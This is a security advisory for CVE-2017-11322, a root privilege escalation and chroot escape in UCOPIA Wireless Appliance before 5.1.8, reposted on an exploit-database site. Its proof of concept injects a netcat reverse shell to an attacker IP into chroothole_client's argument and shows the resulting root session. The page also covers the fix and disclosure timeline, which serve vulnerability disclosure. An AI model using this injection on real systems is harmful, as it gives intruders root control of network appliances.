0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
UCOPIA Wireless Appliance Privilege Escalation Vulnerability
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# [CVE-2017-11322] UCOPIA Wireless Appliance < 5.1.8 Privileges Escalation ## Asset description UCOPIA solutions bring together a combination of software, appliance and cloud services serving small to large customers. More than 12,000 UCOPIA solutions are deployed and maintained by UCOPIA expert partners all over the world. The affected asset in this report is a WiFi management appliance. ## Vulnerability CHROOT escape and privileges escalation. **Threat** Improper sanitization of system commands in the chroothole_client executable in UCOPIA Wireless Appliance, prior to 5.1.8, allows local attackers to elevate privileges to root user and escape from the *chroot*. **CVE ID**: CVE-2017-11322 **Access Vector**: local **Security Risk**: high **Vulnerability**: CWE-78 **CVSS Base Score**: 8.2 (High) **CVSS Vector**: CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ### Proof of Concept: chroot escape / privileges escalation The **chroothole_client** binary is used by the appliance to run programs outside the *chroot*, as the **root** user. Because of an improper sanitization of system commands, we managed to gain a complete **root** access to the appliance, outside the *chroot*. ``` $ chroothole_client '/usr/sbin/status' is not running ... failed ! $ chroothole_client '/usr/sbin/status $(which nc)' /bin/nc is not running ... failed! $ chroothole_client '/usr/sbin/status $(nc 10.0.0.125 4444 -e /bin/sh)' ``` Attacker terminal : ``` $ ncat -lvp 4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.0.0.1:49156. whoami root ``` ## Solution Update to UCOPIA 5.1.8 ## Timeline (dd/mm/yyyy) * 08/03/2017 : Vulnerability discovery. * 03/05/2017 : Initial contact. * 10/05/2017 : GPG Key exchange. * 10/05/2017 : Advisory sent to vendor. * 17/05/2017 : Request for feedback. * 22/05/2017 : Vendor acknowledge the vulnerabilities. * 21/06/2017 : Sysdream Labs request for an ETA, warning for public disclosure. * 21/06/2017 : Vendor say that the UCOPIA 5.1.8 fixes the issue. * 29/09/2017 : Public disclosure. # 0day.today [2024-12-24] #